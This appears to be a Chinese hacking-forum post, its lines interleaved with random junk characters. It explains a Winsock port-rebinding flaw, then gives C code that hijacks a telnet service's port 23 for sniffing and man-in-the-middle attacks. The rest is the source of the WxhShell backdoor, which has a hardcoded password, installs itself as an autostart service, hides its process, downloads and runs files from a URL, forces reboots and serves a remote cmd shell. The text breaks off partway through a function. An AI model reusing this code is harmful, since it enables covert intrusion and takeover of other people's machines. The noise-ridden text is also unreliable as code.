在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!t
Oky s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
.crM!{<Y SrtVoe[ saddr.sin_family = AF_INET;
qW~R-g] cIvYfgIo9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5u_4lNJ& +M##mRD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[4Faq3T" ^D;D8A. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
CQHp4_ PdH`_/6 这意味着什么?意味着可以进行如下的攻击:
4spaw?j nRB>[lG 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4l}M
i %s2"W~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;Uqx&5P} "qTC(F9N$. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Q 95 k!/_/^{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1Bk*G>CX9( ^i+z_%V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
g1wI/ C^" Hj 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
O)xEF~DaD 6IY}SI0N 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6L2*gO:r? NhK(HTsvK #include
*:T>~ilF #include
s`iNbW=" #include
k,R~oSA'n #include
z3Y)- DWORD WINAPI ClientThread(LPVOID lpParam);
id tQXwa int main()
te*Y]-&I|/ {
)~.&bEm\ WORD wVersionRequested;
W,/C?qFp DWORD ret;
{,f!'i&b@ WSADATA wsaData;
rrY{Jf9> BOOL val;
H'0*CiHes SOCKADDR_IN saddr;
Sd\IGy{a SOCKADDR_IN scaddr;
K-EI?6`xM int err;
12d}#G<q- SOCKET s;
%wjB)Mae SOCKET sc;
:uwRuPI int caddsize;
mrhp)yF HANDLE mt;
5Vqmv<F;$Z DWORD tid;
*[xNp[4EU wVersionRequested = MAKEWORD( 2, 2 );
dI0bTw|s/ err = WSAStartup( wVersionRequested, &wsaData );
[ lzy &To if ( err != 0 ) {
]v@ tZ} printf("error!WSAStartup failed!\n");
6I cM:x return -1;
,-7/]h,l }
bN4&\d*u# saddr.sin_family = AF_INET;
B!r48<p LA+$_U"Jk //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
PF'5z#] NP Y!a+#N! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
B)DC,+@$ saddr.sin_port = htons(23);
h#@4@x{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
XJJ[F|k~ {
^EUOmVN printf("error!socket failed!\n");
[)H,zpl return -1;
?BDlB0jxzi }
pKxX{i1l val = TRUE;
g^z5fFLg/8 //SO_REUSEADDR选项就是可以实现端口重绑定的
qXU:A-IdIl if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?K4.L?D#J {
3%[)!zKv printf("error!setsockopt failed!\n");
{V%%^Zhwy return -1;
Q+N7:o!;<b }
z<oE!1St //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
TRk
?8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{(M&-~Yh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Lz9$,Y[ ~Q_)>|R2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
*X=@yB*aK {
L,L ~
.E ret=GetLastError();
)4!CR /ao printf("error!bind failed!\n");
0H OoKh return -1;
Ko$ $dkSE }
o5=)~D{/G3 listen(s,2);
NoJnchiU while(1)
uG=t?C6 {
^J#?hHz caddsize = sizeof(scaddr);
3^02fy //接受连接请求
FI?gT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+QIGR'3u if(sc!=INVALID_SOCKET)
;z.6'EYMG {
:$M9XZ~\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V6@*\+:3) if(mt==NULL)
L9{mYA]q {
yD3bl%uZ printf("Thread Creat Failed!\n");
,30FGz^i break;
#.E\,N' }
Uh3wj|0 }
B_SZ?o CloseHandle(mt);
vs\'1^*D }
ldAov\X closesocket(s);
_[}G(< WSACleanup();
%w'/n>]j return 0;
aPD?Bh>JU }
$f<eq7rRe DWORD WINAPI ClientThread(LPVOID lpParam)
a1
46kq {
m4Phn~>Gg SOCKET ss = (SOCKET)lpParam;
n0+g]|a
AF SOCKET sc;
g[#k.CuP unsigned char buf[4096];
9tzoris[~ SOCKADDR_IN saddr;
}zkL[qu; long num;
c!\.[2n DWORD val;
iUeV5cB DWORD ret;
qs6Nb'JvQR //如果是隐藏端口应用的话,可以在此处加一些判断
C2+{U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?(5o@Xq saddr.sin_family = AF_INET;
U8-Q'1IT& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
j>$=SMc saddr.sin_port = htons(23);
pau*kMu^} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ZR!cQ oV= {
OLk9A printf("error!socket failed!\n");
3)6+1Yc return -1;
%^a]J"Ydi8 }
L!bfh` val = 100;
=oo[ Eyr if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Rr o?q {
h]kn%?fpmB ret = GetLastError();
Z"6 2#VM return -1;
cr76cYq"Q }
dV5PhP>6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'ox0o: {
[kPD`be2# ret = GetLastError();
d{QMST2& return -1;
&_"ORqn& }
SX1X<9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
o2;(VSKhS {
|RR"'o_E printf("error!socket connect failed!\n");
zb"rMzCH closesocket(sc);
SQh+5 closesocket(ss);
:d;[DYFLxb return -1;
69t7=r }
F;IP3tD while(1)
mSU@UD|' {
>%9^%p^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1pd 9s8CA //如果是嗅探内容的话,可以再此处进行内容分析和记录
ooTc/QEYi //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#,@bxsB num = recv(ss,buf,4096,0);
tlDYk if(num>0)
6yE'/VB< send(sc,buf,num,0);
;$vLq&(} else if(num==0)
}czsa_ break;
rlR
!& num = recv(sc,buf,4096,0);
seu
~'s- if(num>0)
}sf YCz send(ss,buf,num,0);
)HEfU31IC else if(num==0)
dX_!0E[c break;
Wt>J` }
x|.v{tQa closesocket(ss);
fx<FIj7 closesocket(sc);
sB?2*S"X)< return 0 ;
qOW#Q:T }
t:\l&R& ~V @;(_T X6Un;UL ==========================================================
^`tk/#h\9F Z+NF(d 下边附上一个代码,,WXhSHELL
#X#8ynt W0Ktw6 ==========================================================
9Hu
d|n -M6L.gi)oJ #include "stdafx.h"
tC^ 1} '9 'l=Sh #include <stdio.h>
gXLCRn!iR #include <string.h>
@zo7.'7P #include <windows.h>
cI2Fpf`2Wj #include <winsock2.h>
ovo/!YJ2 #include <winsvc.h>
CK2 B #include <urlmon.h>
y>$1UwQ XcOA)'Py #pragma comment (lib, "Ws2_32.lib")
+fM&su=wl #pragma comment (lib, "urlmon.lib")
S"zk!2@C x5oOF7#5 #define MAX_USER 100 // 最大客户端连接数
E(_KN[}S #define BUF_SOCK 200 // sock buffer
K]X`sH: #define KEY_BUFF 255 // 输入 buffer
yk<VlS ^pj>9% #define REBOOT 0 // 重启
qB:AkMd& #define SHUTDOWN 1 // 关机
,I ZqLA .hKhrcQp #define DEF_PORT 5000 // 监听端口
a.?v*U@z@# ~F;CE"3A #define REG_LEN 16 // 注册表键长度
?KCivf #define SVC_LEN 80 // NT服务名长度
=ai2z2z N&"QKd l // 从dll定义API
"#2pT H~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
@}(SR\~N] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_lXt8}:+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
{=3B)+N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
dXl]Pe|v |k6Ox* // wxhshell配置信息
Axlm<3<wf" struct WSCFG {
IK'F{QPH int ws_port; // 监听端口
b
vRB char ws_passstr[REG_LEN]; // 口令
gY!N3 *: int ws_autoins; // 安装标记, 1=yes 0=no
L=RGL+f1_ char ws_regname[REG_LEN]; // 注册表键名
f3G1r5x char ws_svcname[REG_LEN]; // 服务名
C,"=}z1P char ws_svcdisp[SVC_LEN]; // 服务显示名
bG(x:Py& char ws_svcdesc[SVC_LEN]; // 服务描述信息
|H
W(
vA char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@TysXx int ws_downexe; // 下载执行标记, 1=yes 0=no
)\>r-g$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
je,c7ZFO char ws_filenam[SVC_LEN]; // 下载后保存的文件名
l x e`u}[ 3htq[Ren };
it)ZP H \]8VwsP // default Wxhshell configuration
!{(ls< struct WSCFG wscfg={DEF_PORT,
`a
>?UUT4 "xuhuanlingzhe",
+%XnMl 1,
]boE{R!I "Wxhshell",
L6+C]t}>6 "Wxhshell",
9/@ &* "WxhShell Service",
C',6%6P "Wrsky Windows CmdShell Service",
[/cIUQ "Please Input Your Password: ",
.xl.P7@JJ 1,
+Rqbf "
http://www.wrsky.com/wxhshell.exe",
|c0, "Wxhshell.exe"
4z_n4= };
@r<b:?u =WK04\H // 消息定义模块
J=iRul^S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'w.}2( char *msg_ws_prompt="\n\r? for help\n\r#>";
,hWcytzEw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=IZ[_ /@ char *msg_ws_ext="\n\rExit.";
`*aBRwvK~ char *msg_ws_end="\n\rQuit.";
Lc]1$ char *msg_ws_boot="\n\rReboot...";
2JZdw char *msg_ws_poff="\n\rShutdown...";
fQU{SjG char *msg_ws_down="\n\rSave to ";
v L}T~_=3 1`JB)9P char *msg_ws_err="\n\rErr!";
3+(z_!Qh char *msg_ws_ok="\n\rOK!";
?YBaO,G9o $7NCb7%/L char ExeFile[MAX_PATH];
*~2cG;B"e int nUser = 0;
;7Okyj6EP HANDLE handles[MAX_USER];
uw33:G int OsIsNt;
51 4Z<omrK mb1Vu SERVICE_STATUS serviceStatus;
MQ` %`` SERVICE_STATUS_HANDLE hServiceStatusHandle;
HCj>,^<h (.?ZKL // 函数声明
^m%52Tm
h int Install(void);
G;s"h%Xw98 int Uninstall(void);
NiA4JgM]v int DownloadFile(char *sURL, SOCKET wsh);
0Z
HDBh int Boot(int flag);
&94W-zh void HideProc(void);
c-B/~& int GetOsVer(void);
/e1(?
20 int Wxhshell(SOCKET wsl);
oa`#RC8N void TalkWithClient(void *cs);
ar$*a>'? int CmdShell(SOCKET sock);
?pG/m%[ int StartFromService(void);
zkexei4^< int StartWxhshell(LPSTR lpCmdLine);
.'T 40=7 ag8`O&+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{eQWO.C{ VOID WINAPI NTServiceHandler( DWORD fdwControl );
$UvPo0{ `/4:I // 数据结构和表定义
"^Rv# SERVICE_TABLE_ENTRY DispatchTable[] =
YQd:M%$ {
OlY$v@| {wscfg.ws_svcname, NTServiceMain},
CU$#0f> {NULL, NULL}
exZLj0kvF };
LZ<[ll#C BzN@gQo // 自我安装
|^( M{ int Install(void)
rN5tI.iC {
q3h'l, char svExeFile[MAX_PATH];
BBnq_w"a HKEY key;
7-*=|gl+ strcpy(svExeFile,ExeFile);
+,5-qm)Gh> %
frfSGf.# // 如果是win9x系统,修改注册表设为自启动
HBiBv-=, if(!OsIsNt) {
ho.(v;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~L{l+jK$p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
VkZ.6kV RegCloseKey(key);
=Op+v" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`1+F,&e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_<*Hv*Zm RegCloseKey(key);
)`+YCCa6F return 0;
uMmXs%9T }
<f>akT,W }
M%`\P\A }
E[g*O5 else {
L/Vx~r`P vH[Pb#f- // 如果是NT以上系统,安装为系统服务
Kat&U19YH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7L3ik;> if (schSCManager!=0)
F)Oe9x\/ {
[6tSYUZs SC_HANDLE schService = CreateService
%j+xgX/& (
)T|L,Lp schSCManager,
Y)|N"f; wscfg.ws_svcname,
.`p&ATgv wscfg.ws_svcdisp,
{5j66QFoo SERVICE_ALL_ACCESS,
fex,z%}p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
<1 "+,}'x SERVICE_AUTO_START,
)L5i&UK. SERVICE_ERROR_NORMAL,
*%gF2@=r8F svExeFile,
)rm4cW_ NULL,
;\{`Ci\ NULL,
X+82[Y,mB. NULL,
:iUF7P1I NULL,
u2iXJmM* NULL
s'\$t );
W?Ww2Lo%Y if (schService!=0)
>:1P/U {
szmmu*F,U: CloseServiceHandle(schService);
dl~|Izm CloseServiceHandle(schSCManager);
cg{AMeW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Log|%P\ strcat(svExeFile,wscfg.ws_svcname);
w_wslN,) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
iG<Som RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
l"+Jc1\ X RegCloseKey(key);
W+=o&V return 0;
*d*,Hqn }
?cy4&]s }
@It>*B yB. CloseServiceHandle(schSCManager);
}q[Bd }
>BVoHt~; }
3V<&| >I"V],d!6 return 1;
)>a B }
5&!c7$K0 {XCf-{a]~ // 自我卸载
gm)@c2?. int Uninstall(void)
G}nO@ {
#0Ds'pE- HKEY key;
9Ul(GI(
jN*:QI if(!OsIsNt) {
4JyM7ePND} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%;"@Ah RegDeleteValue(key,wscfg.ws_regname);
{*m ?Kc7k RegCloseKey(key);
SPkn3D6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OFU/gaO~ RegDeleteValue(key,wscfg.ws_regname);
{KL5GowH RegCloseKey(key);
60>.ul2 return 0;
Vu8,(A7D%O }
EcL-V>U#M }
|CFRJN-J" }
3G}AH E4 else {
C})'\1O% Zyf P;& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{w6/[-^ if (schSCManager!=0)
`Ityi} {
U9hS<}<Ki SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
OQ&'Dti if (schService!=0)
#I*QX%(H# {
` uCI Xb if(DeleteService(schService)!=0) {
/8'S1!zc CloseServiceHandle(schService);
5 `/< v^ CloseServiceHandle(schSCManager);
rf&M!d}! return 0;
Cfu=u *u }
0%`4px4J CloseServiceHandle(schService);
:mcYZPX# }
D<$XyP CloseServiceHandle(schSCManager);
/iaf ^
> }
C~%
1w%nn }
s#9Ui#[=h SGL|Ck return 1;
[{u(C!7L` }
hsRvr`#m| LPd\-S_rsP // 从指定url下载文件
Ol_q{^ int DownloadFile(char *sURL, SOCKET wsh)
#dxgB:l)%l {
J9~i%hzr HRESULT hr;
2/
rt@{V( char seps[]= "/";
~wm;;#_O char *token;
i yesD char *file;
+kK char myURL[MAX_PATH];
OX]V)QHVZ char myFILE[MAX_PATH];
cZ8.TsI~ zmuMWT; strcpy(myURL,sURL);
x Gk6n4Gg token=strtok(myURL,seps);
FDzqL;I while(token!=NULL)
O*6n$dUj3 {
1 T<+d5[C file=token;
DL^o_61 token=strtok(NULL,seps);
_f0C Y" }
HeGYu?& 6?tlU>A2s GetCurrentDirectory(MAX_PATH,myFILE);
68fiG strcat(myFILE, "\\");
igL<g strcat(myFILE, file);
t&q N: J send(wsh,myFILE,strlen(myFILE),0);
jEdtJEPa send(wsh,"...",3,0);
0fXLcal hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,8'>R@o if(hr==S_OK)
@D^^_1~ return 0;
u^Ku;RQo else
Uh
eC return 1;
{=2DqkTD G.VuKsP] }
f_ ^1J m0w;8uF2UV // 系统电源模块
D1
Z{W int Boot(int flag)
URgk^nt2p {
e!-,PU9+ HANDLE hToken;
.R*!aK TOKEN_PRIVILEGES tkp;
"^j>tii O) |P,? if(OsIsNt) {
_9H*agRe OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3chPY4~A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
(:V>Hjt tkp.PrivilegeCount = 1;
+ECDD'^! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_Q%vK*n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
LWoG4s?w if(flag==REBOOT) {
^qCkt1C-M if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&U+ _ -Ph return 0;
wU#F_De)R: }
k>dsw : else {
^gVT$A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@i^~0A#q* return 0;
p^(&qk?ut }
?u4INZ0W }
<Dx]b*H else {
b}T6v if(flag==REBOOT) {
zkTp`>9R if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|IunpZV return 0;
Ngb(F84H? }
v+jsC`m else {
:Rs^0F8)c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"MIq.@8ra return 0;
c}3W:}lW }
)}TLC 2% }
)CX4kPj 0y<wvLv2C return 1;
7W6cM%_B }
R*|LI Z~A@o""F // win9x进程隐藏模块
{bO|409>W void HideProc(void)
Z/^ u {
&a/__c/l USN8N ( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"NRDNqj( if ( hKernel != NULL )
!6Sd(2 {
!*2%"H* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
dd?x(,"A` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0y&I/2 FreeLibrary(hKernel);
8/z3=O& }
SuZ&vqS Z):n c% S return;
$3Z-)m }
7PR#(ftz B?$ "\;& // 获取操作系统版本
9N%JP+<89 int GetOsVer(void)
3] 1-M {
OB~X/ OSVERSIONINFO winfo;
ExHKw~y9
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\5Vde%!$Z GetVersionEx(&winfo);
Hi_G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
bCZ gcN return 1;
$A3<G-4O else
i{D=l7j|w return 0;
+GsWTEz }
uxg9yp@| X0-IRJ[ // 客户端句柄模块
dD<fn9t
int Wxhshell(SOCKET wsl)
TO2c"7td {
v^ d]rSm SOCKET wsh;
Jc)^49Rf struct sockaddr_in client;
U/lM\3v/e DWORD myID;
nA?Hxos OT^%3:zg while(nUser<MAX_USER)
B3Jgd,[ {
9dMrgz&' int nSize=sizeof(client);
:';L/x> wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
cI]WrI2CQa if(wsh==INVALID_SOCKET) return 1;
?Qb<-~~
j1 @\&m+;6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Th`skK&U if(handles[nUser]==0)
S osj$9E closesocket(wsh);
1b8p~-LsU else
IlX$YOf4 nUser++;
|^28\sm2e }
r%DFve:% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
50dGBF P;PQeXKw return 0;
iR$<$P5 }
K^r)CCO E,n}HiAz7V // 关闭 socket
]d[ge6 void CloseIt(SOCKET wsh)
KRJLxNr {
[OOS`N4< closesocket(wsh);
\:>
Wpqw nUser--;
*&AfR8x_z ExitThread(0);
{{C`mgC }
::n;VY2& P,ua<B}L // 客户端请求句柄
bslrqUk_`= void TalkWithClient(void *cs)
Y2o6kS{x {
/ug8]Lo0 c`x7u}C SOCKET wsh=(SOCKET)cs;
6 \B0^ char pwd[SVC_LEN];
2cu#lMq char cmd[KEY_BUFF];
7?OH,^ char chr[1];
s95vK7I int i,j;
{b]aC */ G<!W while (nUser < MAX_USER) {
}AZc8o-
9;Fbnp' if(wscfg.ws_passstr) {
TwyM\9l7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'gQidf //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
EL3|u64GO //ZeroMemory(pwd,KEY_BUFF);
p2PY@d}}. i=0;
)pw&c_x while(i<SVC_LEN) {
*%Qn{x s08u @ // 设置超时
rzp +: fd_set FdRead;
,mPnQ? struct timeval TimeOut;
*M7E#bQ5B FD_ZERO(&FdRead);
1GEK:g2B FD_SET(wsh,&FdRead);
R];Oxe TimeOut.tv_sec=8;
elG;jB TimeOut.tv_usec=0;
UEak^Mm;=2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4Ij-Ilg)% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hP J4Oj1O X\p,%hk \ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\b}~2oX pwd
=chr[0]; MH|]\
if(chr[0]==0xd || chr[0]==0xa) { #6Xs.*b5C
pwd=0; P7B:%HiAx
break; Qy#)Gxp
} wV?,Z!\Z
i++; 3M5#4n\v$
} =TR,~8Z|
W;?(,xx
// 如果是非法用户,关闭 socket AvR2_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _<ut)G^9
} g%[n4
/8@m<CW2Y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J H.K.C(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zr76_~B1u
SFH-^ly&D
while(1) { DaNW~rd{
wo5ZxM
ZeroMemory(cmd,KEY_BUFF); ]IJRnVp%
^"8G`B$r
// 自动支持客户端 telnet标准 A5#y?Aq
j=0; v"+k~:t*
while(j<KEY_BUFF) { XwM611
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }~Q"s2
cmd[j]=chr[0]; h72UwJ2rw
if(chr[0]==0xa || chr[0]==0xd) { 4VN aq<8
cmd[j]=0; Z?i /r5F
break; }aB#z<B6
} 3*DXE9gA9
j++; ^GN8V-X4y
} QbYc[8-[
/Tz85 [%6
// 下载文件 `n!viW|tB
if(strstr(cmd,"http://")) { '%v#v 3'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); QGiAW7b5
if(DownloadFile(cmd,wsh)) 4^c-D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SEKN|YQV/t
else g.%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hwnx<f '
} UVf\2\ Y
else { 3L-^<'~-k;
yh;Y,;4
switch(cmd[0]) { Z.&\=qiY
x@P{l&:>
// 帮助 6FfOH<\z6i
case '?': { } :iBx
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NTs;FX~g[
break; nbofYI$rd&
} t$^l<ppQ
// 安装 TOl}U
case 'i': { YHxbDf dA
if(Install()) #nyv+x;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~#Md"3
else xu%'GZ,o9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KB{RU'?f|
break; vnX
} ~4.r^)\
// 卸载 gLj?Ys
case 'r': { a7H0!9^h
if(Uninstall()) #*q2d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M%Ku5X6:/
else 5''*UFIF1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { }e^eJ
break; !7H6i#g*
} zLjgCS<7
// 显示 wxhshell 所在路径 <v]9lw'
case 'p': { 4h
5_M8I
char svExeFile[MAX_PATH]; \Z)1 ?fq
strcpy(svExeFile,"\n\r"); Uv?'m&_
strcat(svExeFile,ExeFile); {sN"(H4$
send(wsh,svExeFile,strlen(svExeFile),0); lpQP"%q
break; TZ^LA
L'8_
} aP~gaSx
// 重启 [_DPxM=V
case 'b': { Qb^q+C)o]
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7-iIay1h"
if(Boot(REBOOT)) lhn8^hOJ/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :,]S}R
else { +KK$0pL
closesocket(wsh); >POO-8Q
ExitThread(0); f~& a-
} u'9gVU B
break; dK?);*w]
} &TN2 HZ-bJ
// 关机 B5=3r1Ly
case 'd': { ryD%i"g<
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0TE@xqW
if(Boot(SHUTDOWN)) "|LQK0q3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q49BU@xX
else { }*;EFR 6'
closesocket(wsh); (*^DN{5
ExitThread(0); +!>LY
} u?Hb(xZtg=
break; nW;kcS*A
} 3_ 2hC!u!K
// 获取shell VAj<E0>
case 's': { &/F_*=VE
CmdShell(wsh); P@ypk^v
closesocket(wsh); 4^Qi2[ w
ExitThread(0); Z}Cqd?_')
break; T nxKR$Hoh
} 5rN_jC*U
// 退出 2RNrIU I2
case 'x': { -g$OOJB6
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YiBOi?h9
CloseIt(wsh); nO:HB.&@
break; CH#kvR2
} ZK!4>OuH`
// 离开 / (.'*biQ
case 'q': { /J8o_EV
send(wsh,msg_ws_end,strlen(msg_ws_end),0); q4zSS #]A
closesocket(wsh); nYgx9Q"<om
WSACleanup(); gm}C\q9
exit(1); FBbm4NB
break; &BTfDsxAK
} B~BUWWMfp
} .yG8B:7N2
} {;;eOxOP|
\hu':@}
// 提示信息 8}J(c=4Gk
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .8%vd
} TA<hj[-8
} y8}"DfU.
MsSoX9A{D
return; +:b(%|
} LP8o7%sv!
p0?o<AA%O
// shell模块句柄 >Ziy1Dp
int CmdShell(SOCKET sock) 6J]~A0vsi}
{ V9gVn?O0
STARTUPINFO si; @eA %(C
ZeroMemory(&si,sizeof(si)); mnQal>0~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vB]3Xb3a
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vr<)Ay
PROCESS_INFORMATION ProcessInfo; @ >
cdHv
char cmdline[]="cmd"; H2s*s[T
-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $kM'
return 0; s%hU*^ 8
} &~42T}GTWG
I"~xDa!
// 自身启动模式 +0SW ?#%
int StartFromService(void) HI7]%<L
{ 6@i|Kw(:
typedef struct SG1&a:c+.
{ es{cn=\s
DWORD ExitStatus; <)=3XEcb
DWORD PebBaseAddress; |:\$n}K
